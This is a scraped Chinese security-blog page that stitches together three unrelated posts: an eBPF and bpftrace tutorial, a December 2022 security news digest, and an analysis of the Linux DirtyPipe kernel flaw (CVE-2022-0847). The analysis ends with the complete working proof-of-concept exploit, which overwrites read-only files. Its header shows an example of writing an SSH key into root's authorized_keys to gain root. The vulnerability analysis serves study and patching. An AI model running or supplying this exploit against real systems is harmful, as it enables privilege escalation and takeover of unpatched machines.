bootstrap程序会追踪所有的exec和exit系统调用,每次程序运行时,bootstrap就会输出运行程序的信息。 再看看minimal,这是一个最小ebpf程序。 运行后输出大量信息,最后有提示让我们运行sudo cat /sys/kernel/debug/tracing/trace_pipe来查看输出 运行这个命令 minimal 会追踪所有的write系统调用,并打印出调用write的进程的pid 这里看到pid为11494,ps 查询一下这个进程,发现就是minimal 来看看minimal的源码,这个程序主要有两个C文件组成,minimal.c和minimal.bpf.c前者为此程序的源码,后者为插入内核虚拟机的ebpf代码。 // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) /* Copyright (c) 2020 Facebook */ #include <stdio.h> #include <unistd.h> #include <sys/resource.h> #include <bpf/libbpf.h> #include "minimal.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) {    return vfprintf(stderr, format, args); } int main(int argc, char **argv) {    struct minimal_bpf *skel;    int err;    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);    /* Set up libbpf errors and debug info callback */    libbpf_set_print(libbpf_print_fn);    /* Open BPF application */    skel = minimal_bpf__open();    if (!skel) {        fprintf(stderr, "Failed to open BPF skeleton\n");        return 1;   }    /* ensure BPF program only handles write() syscalls from our process */    skel->bss->my_pid = getpid();    /* Load & verify BPF programs */    err = minimal_bpf__load(skel);    if (err) {        fprintf(stderr, "Failed to load and verify BPF skeleton\n");        goto cleanup;   }    /* Attach tracepoint handler */    err = minimal_bpf__attach(skel);    if (err) {        fprintf(stderr, "Failed to attach BPF skeleton\n");        goto cleanup;   }    printf("Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "           "to see output of the BPF programs.\n");    for (;;) {        /* trigger our BPF program */        fprintf(stderr, ".");        sleep(1);   }    cleanup:    minimal_bpf__destroy(skel);    return -err; } 首先看一下minimal.c的内容,在main函数中首先调用了libbpf_set_strict_mode(LIBBPF_STRICT_ALL);设置为libbpf v1.0模式。此模式下错误代码直接通过函数返回值传递,不再需要检查errno。 之后调用libbpf_set_print(libbpf_print_fn);将程序中一个自定义输出函数设置为调试输出的回调函数,即运行minimal的这些输出全都时通过libbpf_print_fn输出的。 然后在minimal.c:24调用生成的minimal.skel.h中的预定义函数minimal_bpfopen打开bpf程序,这里返回一个minimal_bpf类型的对象(c中使用结构体模拟对象)。 在31行将minimal_bpf对象的bss子对象的my_pid属性设置为当前进程pid 这里minimal_bpf对象和bss都由minimal.bpf.c代码编译而来。minimal.bpf.c经过clang 编译连接,生成minimal.bpf.o,这是一个elf文件,其中包含bss段,这个段内通常储存着minimal.bpf.c中所有经过初始化的变量。 skel->bss->my_pi 接下来看minimal.bpf.c 这是ebpf程序的源码,是要加载到内核中的ebpf虚拟机中运行的,由于在运行在内核中,具有得天独厚的地理位置,可以访问系统中所有资源,再配合上众多的tracepoint,就可以发挥出强大的追踪能力。 下面是minimal.bpf.c的源码 // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause /* Copyright (c) 2020 Facebook */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> char LICENSE[] SEC("license") = "Dual BSD/GPL"; int my_pid = 0; SEC("tp/syscalls/sys_enter_write") int handle_tp(void *ctx) {    int pid = bpf_get_current_pid_tgid() >> 32;    if (pid != my_pid)        return 0;    bpf_printk("BPF triggered from PID %d.\n", pid);    return 0; } minimal.bpf.c会被clang 编译器编译为ebpf字节码,然后通过bpftool将其转换为minimal.skel.h头文件,以供minimal.c使用。 此代码中定义并初始化了一个全局变量my_pid,经过编译连接后此变量会进入elf文件的bss段中。 然后,代码中定义了一个函数int handle_tp(void *ctx),此函数中通过调用bpf_get_current_pid_tgid() >> 32获取到调用此函数的进程pid 然后比较pid与my_pid的值,如果相同则调用bpf_printk输出"BPF triggered from PID %d\n” 这里由于handle_tp函数是通过SEC宏附加在write系统调用上,所以在调用write()时,handle_tp也会被调用,从而实现追踪系统调用的功能。 SEC宏在bpf程序中处于非常重要的地位。可以参考https://libbpf.readthedocs.io/en/latest/program_types.html SEC宏可以指定ebpf函数附加的点,包括系统调用,静态tracepoint,动态的kprobe和uprobe,以及USDT等等。 Lib 通过llvm-objdump 可以看到编译后的epbf程序文件包含一个以追踪点命名的section ebpf字节码dump ebpf程序可以使用llvm-objdump -d dump 出ebpf字节码 bpftrace bpftrace 提供了一种类似awk 的脚本语言,通过编写脚本,配合bpftrace支持的追踪点,可以实现非常强大的追踪功能 安装 sudo apt-get update sudo apt-get install -y \ bison \ cmake \ flex \ g++ \ git \ libelf-dev \ zlib1g-dev \ libfl-dev \ systemtap-sdt-dev \ binutils-dev \ libcereal-dev \ llvm-12-dev \ llvm-12-runtime \ libclang-12-dev \ clang-12 \ libpcap-dev \ libgtest-dev \ libgmock-dev \ asciidoctor git clone htt bpftrace命令行参数 # bpftrace USAGE:   bpftrace [options] filename   bpftrace [options] -e 'program' OPTIONS:    -B MODE       output buffering mode ('line', 'full', or 'none')    -d             debug info dry run    -dd           verbose debug info dry run    -e 'program'   execute this program    -h             show this help message    -I DIR         add the specified DIR to the search path for include files.    --include FILE adds an implicit #include which is read before the source file is preprocessed.    -l [search]   list probes    -p PID         enable USDT probes on PID    -c 'CMD'       run CMD and enable USDT probes on resulting process    -q             keep messages quiet    -v             verbose messages    -k             emit a warning when a bpf helper returns an error (except read functions)    -kk           check all bpf helper functions    --version     bpftrace version ENVIRONMENT:   BPFTRACE_STRLEN             [default: 64] bytes on BPF stack per str()   BPFTRACE_NO_CPP_DEMANGLE   [default: 0] disable C++ symbol demangling   BPFTRACE_MAP_KEYS_MAX       [default: 4096] max keys in a map   BPFTRACE_MAX_PROBES         [default: 512] max number of probes bpftrace can attach to   BPFTRACE_MAX_BPF_PROGS     [default: 512] max number of generated BPF programs   BPFTRACE_CACHE_USER_SYMBOLS [default: auto] enable user symbol cache   BPFTRACE_VMLINUX           [default: none] vmlinux path used for kernel symbol resolution   BPFTRACE_BTF               [default: none] BTF file EXAMPLES: bpftrace -l '*sleep*'   list probes containing "sleep" bpftrace -e 'kprobe:do_nanosleep { printf("PID %d sleeping...\n", pid); }'   trace processes calling sleep bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'   count syscalls by process name bpftrace程序语法规则 bpftrace语法由以下一个或多个action block结构组成,且语法关键字与c语言类似 probe[,probe] /predicate/ {  action } probe:探针,可以使用bpftrace -l 来查看支持的所有tracepoint和kprobe探针 Predicate(可选):在 / / 中指定 action 执行的条件。如果为True,就执行 action action:在事件触发时运行的程序,每行语句必须以 ; 结尾,并且用{}包起来 //:单行注释 /**/:多行注释 ->:访问c结构体成员,例如:bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' struct:结构声明,在bpftrace脚本中可以定义自己的结构 https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#languagebpftrace 单行指令 bpftrace -e 选项可以指定运行一个单行程序 1、追踪openat系统调用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' 2、系统调用计数 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' 3、计算每秒发生的系统调用数量 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { print(@); clear(@); }' bpftrace脚本文件 还可以将bpftrace程序作为一个脚本文件,并且使用shebang#!/usr/local/bin/bpftrace可以使其独立运行 例如: 1 #!/usr/local/bin/bpftrace 2 3 tracepoint:syscalls:sys_enter_nanosleep 4 { 5   printf("%s is sleeping.\n", comm); 6 } bpftrace探针类型 bpftrace支持以下类型的探针: kprobe- 内核函数启动 kretprobe- 内核函数返回 uprobe- 用户级功能启动 uretprobe- 用户级函数返回 tracepoint- 内核静态跟踪点 usdt- 用户级静态跟踪点 profile- 定时采样 interval- 定时输出 software- 内核软件事件 hardware- 处理器级事件
网络安全日报 2022年12月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、 加密钱包 BitKeep 因网络攻击损失超过 900 万美元 https://securityaffairs.com/140099/cyber-crime/bitkeep-9m-stolen.html 2、Meta支付 7.25 亿美元,了结剑桥分析公司数据泄露诉讼 https://thehackernews.com/2022/12/facebook-to-pay-725-million-to-settle.html 3、视频会议的风险与日俱增,中小型企业成为网络攻击的目标 https://www.darkreading.com/application-security/videoconferencing-worries-grow-with-smbs-in-cyberattack-crosshairs 4、研究人员披露使用了窃取的证书签名的勒索软件和擦除器 https://securelist.com/ransomware-and-wiper-signed-with-stolen-certificates/108350/ 5、Lazarus APT组织创建了 70 个虚假银行、风险投资公司域名 https://www.securityweek.com/north-korean-hackers-created-70-fake-bank-venture-capital-firm-domains 6、印度铁路公司3000 万客户数据在暗网上出售 https://economictimes.indiatimes.com/news/new-updates/indian-railway-data-leak-30-million-railway-customers-data-for-sale-on-the-dark-web/articleshow/96569440.cms 7、美国政府立法推动改善内存安全问题 https://www.secrss.com/articles/50499 8、最高人民法院发布公民个人信息保护指导性案例 https://www.secrss.com/articles/50472 9、苏黎世保险CEO:网络攻击将“无法投保” https://www.anquanke.com/post/id/284719 10、FBI的受审查信息共享网络“InfraGard”被黑 https://www.4hou.com/posts/jJ1y
DirtyPipe(CVE-2022-0847)漏洞分析
前言 CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。 调试环境 ubuntu 20.04 Linux-5.16.10 qemu-system-x86_64 4.2.1 漏洞验证 首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中 漏洞分析 以poc作为切入点,分析漏洞成因 首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。 ... if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } ... 在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。 随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在 ... for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } ... 紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。 ... ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); ... 在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。 后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。 这里记录一下物理页的地址 最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部 ... nbytes = write(p[1], data, data_size); ... 由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑 最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page中 可以看到buf->page与page地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中 补丁 补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程 总结 DirtyPipe攻击流程 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位 清空管道缓冲区 使用splice函数获取文件所对应的物理页 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作 DirtyPipe利用的限制 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据) 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页 完整的poc /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 #39;\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have   the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } /* drain the pipe, freeing all pipe_buffer instances (but   leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } /* the pipe is now empty, and if somebody adds a new   pipe_buffer without initializing its "flags", the buffer   will be mergeable */ } int main(int argc, char **argv) { if (argc != 4) { fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]); return EXIT_FAILURE; } /* dumb command-line argument parser */ const char *const path = argv[1]; loff_t offset = strtoul(argv[2], NULL, 0); const char *const data = argv[3]; const size_t data_size = strlen(data); if (offset % PAGE_SIZE == 0) { fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); return EXIT_FAILURE; } const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; const loff_t end_offset = offset + (loff_t)data_size; if (end_offset > next_page) { fprintf(stderr, "Sorry, cannot write across a page boundary\n"); return EXIT_FAILURE; } /* open the input file and validate the specified offset */ const int fd = open(path, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return EXIT_FAILURE; } if (offset > st.st_size) { fprintf(stderr, "Offset is not inside the file\n"); return EXIT_FAILURE; } if (end_offset > st.st_size) { fprintf(stderr, "Sorry, cannot enlarge the file\n"); return EXIT_FAILURE; } /* create the pipe with all flags initialized with   PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p); /* splice one byte from before the specified offset into the   pipe; this will add a reference to the page cache, but   since copy_page_to_iter_pipe() does not initialize the   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return EXIT_FAILURE; } if (nbytes == 0) { fprintf(stderr, "short splice\n"); return EXIT_FAILURE; } /* the following write will not create a new pipe_buffer, but   will instead write into the page cache, because of the   PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, data_size); if (nbytes < 0) { perror("write failed"); return EXIT_FAILURE; } if ((size_t)nbytes < data_size) { fprintf(stderr, "short write\n"); return EXIT_FAILURE; } printf("It worked!\n"); return EXIT_SUCCESS; }
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页